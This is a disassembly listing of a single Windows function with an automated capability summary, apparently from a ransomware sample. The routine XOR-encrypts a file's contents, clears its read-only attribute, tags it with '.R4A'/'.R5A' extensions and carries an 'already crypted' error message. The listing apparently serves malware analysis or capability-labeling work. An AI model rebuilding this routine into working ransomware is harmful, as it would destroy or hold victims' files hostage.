Function at 0x41ad70
Capabilities:
Get file attributes
Get file size
Move file
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443787
mov eax, dword fs:[0]
push eax
sub esp, 0x1c4
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xec], edx
mov dword [ebp - 0x118], ecx
mov dword [ebp - 4], 1
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x80], 7
mov dword [ebp - 0x84], 0
xor eax, eax
mov word [ebp - 0x94], ax
push eax
push 0x44d564
lea ecx, [ebp - 0x94]
call fcn.004225f0
mov byte [ebp - 4], 2
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov word [ebp - 0x4c], ax
push 0xffffffffffffffff
push eax
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x4c]
call fcn.004226b0
mov byte [ebp - 4], 3
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x68], 7
mov dword [ebp - 0x6c], 0
xor eax, eax
mov word [ebp - 0x7c], ax
push 0xffffffffffffffff
push eax
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x7c]
call fcn.004226b0
mov byte [ebp - 4], 4
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x50], 7
mov dword [ebp - 0x54], 0
xor eax, eax
mov word [ebp - 0x64], ax
mov byte [ebp - 4], 5
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xb0], 0xf
mov dword [ebp - 0xb4], eax
mov byte [ebp - 0xc4], al
mov byte [ebp - 4], 6
cmp dword [ebp - 0x3c], eax
jne 0x41aed1
lea edx, [ebp - 0x4c]
mov ecx, 0x458af0
call fcn.00425180
mov ecx, eax
call fcn.00424e90
push eax
call fcn.004255f0
add esp, 4
jmp 0x41b6ad
mov byte [ebp - 4], 7
mov byte [ebp - 4], 8
cmp dword [ebp - 0x38], 8
mov eax, dword [ebp - 0x4c]
jae 0x41aee5
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 1
je 0x41af08
cmp dword [ebp - 0x38], 8
mov eax, dword [ebp - 0x4c]
jae 0x41aefc
lea eax, [ebp - 0x4c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 4], 7
xor edi, edi
mov dword [ebp - 0x10c], edi
cmp edi, dword [ebp + 0x30]
jae 0x41af8e
lea esi, [ebp + 0x20]
cmp dword [ebp + 0x34], 8
cmovae esi, dword [ebp + 0x20]
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
cmovae ecx, dword [ebp - 0x4c]
mov eax, edi
xor edx, edx
div dword [ebp - 0x3c]
mov ax, word [esi + edi*2]
xor ax, word [ecx + edx*2]
movzx eax, ax
mov ecx, 0x100
cmp ax, cx
jbe 0x41af7d
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 8
cmovae ecx, dword [ebp + 0x20]
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
cmovae eax, dword [ebp - 0x4c]
movzx eax, word [eax + edx*2]
and eax, 0x800000ff
jns 0x41af76
dec eax
or eax, 0xffffff00
inc eax
xor ax, word [ecx + edi*2]
movzx eax, ax
push eax
push 1
lea ecx, [ebp - 0x94]
call fcn.00422790
inc edi
jmp 0x41af11
lea eax, [ebp - 0x7c]
cmp dword [ebp - 0x68], 8
cmovae eax, dword [ebp - 0x7c]
push 0
push 0x80
push 4
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xe8], eax
test eax, eax
jne 0x41afc5
mov byte [ebp - 4], 6
jmp 0x41b6ad
mov dword [ebp - 0x104], 0
lea ecx, [ebp - 0x104]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea ecx, [edi - 0x10]
cmp ecx, 0x2faf06f
ja 0x41b6a6
push 0
push str..R5A
lea ecx, [ebp - 0x7c]
call fcn.0041eb40
mov esi, eax
push 0
push str..R4A
lea ecx, [ebp - 0x7c]
call fcn.0041eb40
cmp esi, 0xffffffff
je 0x41b01c
cmp eax, 0xffffffff
jne 0x41b6a6
mov eax, edi
cdq
add dword [0x45a158], eax
adc dword [0x45a15c], edx
push edi
call fcn.00426b9d
add esp, 4
mov dword [ebp - 0xe0], eax
push 0
lea ecx, [ebp - 0x104]
push ecx
push edi
push eax
mov esi, dword [ebp - 0xe8]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41b822
mov eax, dword [ebp - 0xe0]
cmp byte [eax], 0x4d
je 0x41b822
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov dword [ebp - 0x110], esi
cmp esi, edi
jge 0x41b120
mov eax, dword [ebp - 0xe0]
mov al, byte [esi + eax]
mov byte [ebp - 0xe1], al
xor eax, eax
mov dword [ebp - 0xe8], eax
lea ecx, [ebp - 0xe1]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b0a0
sub ecx, edx
push ecx
lea eax, [ebp - 0xe1]
push eax
lea eax, [ebp - 0xe8]
push eax
call fcn.0042f405
add esp, 0xc
mov eax, esi
cmp dword [ebp - 0xec], 1
jne 0x41b0e8
mov ecx, 0x45a178
cmp dword [0x45a18c], 8
cmovae ecx, dword [0x45a178]
xor edx, edx
div dword [0x45a188]
jmp 0x41b101
lea ecx, [ebp - 0x94]
cmp dword [ebp - 0x80], 8
cmovae ecx, dword [ebp - 0x94]
xor edx, edx
div dword [ebp - 0x84]
mov ax, word [ecx + edx*2]
xor ax, word [ebp - 0xe8]
movzx eax, ax
push eax
push 1
lea ecx, [ebp - 0x64]
call fcn.00422790
inc esi
jmp 0x41b072
push 1
push dword [ebp - 0xe0]
call fcn.0042655d
add esp, 8
cmp dword [ebp - 0xec], 1
je 0x41b280
mov esi, dword [ebp - 0x54]
mov edi, esi
shr edi, 1
mov ecx, edi
and ecx, 0x80000001
jns 0x41b153
dec ecx
or ecx, 0xfffffffe
inc ecx
sub edi, ecx
mov dword [ebp - 0xe8], edi
mov eax, esi
cdq
idiv edi
sub esi, edx
mov eax, esi
cdq
mov esi, edi
idiv esi
mov dword [ebp - 0xf0], eax
xor edi, edi
mov dword [ebp - 0xf8], edi
mov dword [ebp - 0x100], 0xff
cmp edi, eax
jge 0x41b280
xor ecx, ecx
mov dword [ebp - 0xf4], ecx
mov eax, esi
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0xe0], eax
cmp ecx, eax
jge 0x41b204
lea esi, [ebp - 0x64]
cmp dword [ebp - 0x50], 8
cmovae esi, dword [ebp - 0x64]
lea ecx, [ebp - 0x64]
cmovae ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0xf8]
imul eax, dword [ebp - 0xe8]
mov edx, dword [ebp - 0xf4]
add edx, eax
add eax, dword [ebp - 0xe0]
add eax, dword [ebp - 0xf4]
mov ax, word [ecx + eax*2]
xor ax, word [esi + edx*2]
movzx ecx, ax
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 8
cmovae eax, dword [ebp - 0x64]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0xf4]
inc ecx
mov dword [ebp - 0xf4], ecx
mov esi, dword [ebp - 0xe8]
jmp 0x41b191
mov eax, esi
cdq
sub eax, edx
mov edx, eax
sar edx, 1
mov dword [ebp - 0x114], edx
mov dword [ebp - 0xe0], edx
cmp edx, esi
jge 0x41b268
lea ecx, [ebp - 0x64]
cmp dword [ebp - 0x50], 8
cmovae ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0xf8]
imul eax, esi
add eax, edx
lea esi, [eax + eax]
cdq
idiv dword [ebp - 0x100]
xor dx, word [ecx + esi]
movzx ecx, dx
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 8
cmovae eax, dword [ebp - 0x64]
mov word [eax + esi], cx
mov edx, dword [ebp - 0xe0]
inc edx
mov dword [ebp - 0x114], edx
mov esi, dword [ebp - 0xe8]
jmp 0x41b213
mov edi, dword [ebp - 0xf8]
inc edi
mov dword [ebp - 0xf8], edi
mov eax, dword [ebp - 0xf0]
jmp 0x41b181
push 0x44d564
lea ecx, [ebp - 0xdc]
call fcn.0041eed0
mov byte [ebp - 4], 0xa
mov esi, dword [ebp - 0x3c]
lea edi, [esi - 1]
mov dword [ebp - 0x11c], edi
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x4c]
test edi, edi
jle 0x41b490
lea eax, [ebp - 0x4c]
cmp ecx, 8
cmovae eax, edx
cmp word [eax + edi*2], 0x5c
jne 0x41b630
lea eax, [edi + 1]
mov dword [ebp - 0xfc], eax
xor edx, edx
mov dword [ebp - 0x108], edx
cmp eax, esi
jae 0x41b435
lea esi, [ebp - 0x4c]
mov eax, edx
cmp dword [ebp - 0xec], 1
jne 0x41b37f
cmp ecx, 8
cmovae esi, dword [ebp - 0x4c]
mov ecx, 0x45a178
cmp dword [0x45a18c], 8
cmovae ecx, dword [0x45a178]
xor edx, edx
div dword [0x45a188]
add edx, edx
mov dword [ebp - 0x100], edx
mov eax, dword [ebp - 0xfc]
add eax, eax
mov dword [ebp - 0xf0], eax
mov ax, word [esi + eax]
xor ax, word [edx + ecx]
movzx eax, ax
mov ecx, 0x100
cmp ax, cx
jbe 0x41b402
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
cmovae eax, dword [ebp - 0x4c]
mov ecx, 0x45a178
cmp dword [0x45a18c], 8
cmovae ecx, dword [0x45a178]
mov edx, dword [ebp - 0xf0]
movzx eax, word [edx + eax]
and eax, 0x800000ff
jns 0x41b374
dec eax
or eax, 0xffffff00
inc eax
mov edx, dword [ebp - 0x100]
jmp 0x41b3fb
cmp ecx, 8
cmovae esi, dword [ebp - 0x4c]
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 8
cmovae ecx, dword [ebp + 0x20]
xor edx, edx
div dword [ebp + 0x30]
add edx, edx
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 0xfc]
add eax, eax
mov dword [ebp - 0xe0], eax
mov ax, word [edx + ecx]
mov ecx, dword [ebp - 0xe0]
xor ax, word [ecx + esi]
movzx eax, ax
mov ecx, 0x100
cmp ax, cx
jbe 0x41b402
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
cmovae eax, dword [ebp - 0x4c]
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 8
cmovae ecx, dword [ebp + 0x20]
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx + eax]
and eax, 0x800000ff
jns 0x41b3f5
dec eax
or eax, 0xffffff00
inc eax
mov edx, dword [ebp - 0xf0]
xor ax, word [edx + ecx]
movzx eax, ax
push eax
push 1
lea ecx, [ebp - 0xdc]
call fcn.00422790
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0x108]
inc edx
mov dword [ebp - 0x108], edx
mov esi, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
jmp 0x41b2d3
lea eax, [edi + 1]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0041ecd0
xor eax, eax
mov word [ebp - 0x34], ax
xorps xmm0, xmm0
movups xmmword [ebp - 0x32], xmm0
movq qword [ebp - 0x22], xmm0
mov dword [ebp - 0x1a], eax
push 0xa
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x118]
call fcn.0042e8b9
add esp, 0xc
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0041ed60
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0xec], 1
jne 0x41b626
push str..R4A
call fcn.0041ed60
sub esp, 0xc
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x1d0]
call fcn.0041f0e0
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x1d0]
mov eax, dword [eax + 4]
cmp dword [ebp + eax - 0x1c4], 0
jne 0x41b688
mov edx, str.M.c
lea ecx, [ebp - 0x1d0]
call fcn.00424c10
lea edx, [ebp - 0x64]
mov ecx, eax
call fcn.00425180
mov edx, 0x4501c4
mov ecx, eax
call fcn.00424c10
lea edx, [ebp - 0xdc]
mov ecx, eax
call fcn.00425180
push eax
call fcn.004255f0
add esp, 4
lea ecx, [ebp - 0x1d0]
call fcn.0041f010
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
cmovae ecx, dword [ebp - 0x4c]
lea eax, [ebp - 0x7c]
cmp dword [ebp - 0x68], 8
cmovae eax, dword [ebp - 0x7c]
push ecx
push eax
call fcn.0042f44f
add esp, 8
test eax, eax
je 0x41b688
push ecx
push 0x4501d0
lea ecx, [ebp - 0x7c]
call fcn.0041eaf0
mov esi, eax
push ecx
push 0x4501d4
lea ecx, [ebp - 0x7c]
call fcn.0041eaf0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x98], 7
mov dword [ebp - 0x9c], 0
xor ecx, ecx
mov word [ebp - 0xac], cx
mov byte [ebp - 4], 0xc
push eax
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x7c]
call fcn.0041ea50
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0xac]
call fcn.0041ee60
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x30]
call fcn.0041ee00
push 4
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffffc
push eax
lea ecx, [ebp - 0x4c]
call fcn.0041ec20
xor edi, edi
mov dword [ebp - 0x120], edi
cmp edi, dword [ebp - 0x9c]
jae 0x41b63c
lea esi, [ebp - 0xac]
cmp dword [ebp - 0x98], 8
cmovae esi, dword [ebp - 0xac]
mov ecx, 0x45a190
cmp dword [0x45a1a4], 8
cmovae ecx, dword [0x45a190]
mov eax, edi
xor edx, edx
div dword [0x45a1a0]
movzx ecx, word [ecx + edx*2]
movzx eax, word [esi + edi*2]
xor ecx, eax
push 0xa
lea eax, [ebp - 0x2c]
push eax
push ecx
call fcn.0042e8b9
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0041ed60
inc edi
jmp 0x41b5bf
push str..R5A
jmp 0x41b48b
dec edi
mov dword [ebp - 0x11c], edi
jmp 0x41b2a6
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0xec], 0
jle 0x41b64f
push str..R4A
jmp 0x41b654
push str..R5A
call fcn.0041ed60
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
cmovae ecx, dword [ebp - 0x4c]
lea eax, [ebp - 0x7c]
cmp dword [ebp - 0x68], 8
cmovae eax, dword [ebp - 0x7c]
push ecx
push eax
call fcn.0042f44f
add esp, 8
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xac]
call fcn.0041ee00
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1d0]
call fcn.00403c20
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xdc]
call fcn.0041ee00
mov dword [ebp - 4], 6
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0xb0]
cmp eax, 0x10
jb 0x41b6cf
inc eax
push eax
push dword [ebp - 0xc4]
lea ecx, [ebp - 0xc4]
call fcn.00423c70
mov dword [ebp - 0xb0], 0xf
mov dword [ebp - 0xb4], 0
mov byte [ebp - 0xc4], 0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x50]
cmp eax, 8
jb 0x41b703
inc eax
push eax
push dword [ebp - 0x64]
lea ecx, [ebp - 0x64]
call fcn.00423bf0
mov dword [ebp - 0x50], 7
mov dword [ebp - 0x54], 0
xor eax, eax
mov word [ebp - 0x64], ax
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x68]
cmp eax, 8
jb 0x41b730
inc eax
push eax
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x7c]
call fcn.00423bf0
mov dword [ebp - 0x68], 7
mov dword [ebp - 0x6c], 0
xor eax, eax
mov word [ebp - 0x7c], ax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x38]
cmp eax, 8
jb 0x41b75d
inc eax
push eax
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x4c]
call fcn.00423bf0
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x80]
cmp eax, 8
jb 0x41b790
inc eax
push eax
push dword [ebp - 0x94]
lea ecx, [ebp - 0x94]
call fcn.00423bf0
mov dword [ebp - 0x80], 7
mov dword [ebp - 0x84], 0
xor eax, eax
mov word [ebp - 0x94], ax
mov byte [ebp - 4], al
mov eax, dword [ebp + 0x1c]
cmp eax, 8
jb 0x41b7c2
inc eax
push eax
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.00423bf0
mov dword [ebp + 0x1c], 7
mov dword [ebp + 0x18], 0
xor eax, eax
mov word [ebp + 8], ax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0x34]
cmp eax, 8
jb 0x41b7f2
inc eax
push eax
push dword [ebp + 0x20]
lea ecx, [ebp + 0x20]
call fcn.00423bf0
mov dword [ebp + 0x34], 7
mov dword [ebp + 0x30], 0
xor eax, eax
mov word [ebp + 0x20], ax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0042654c
mov esp, ebp
pop ebp
ret
mov edx, str.CANT_READ_or_file_already_crypted________________
mov ecx, 0x458ba0
call fcn.004258d0
push eax
call fcn.00425b30
push 1
push dword [ebp - 0xe0]
call fcn.0042655d
add esp, 0xc
mov byte [ebp - 4], 6
jmp 0x41b6ad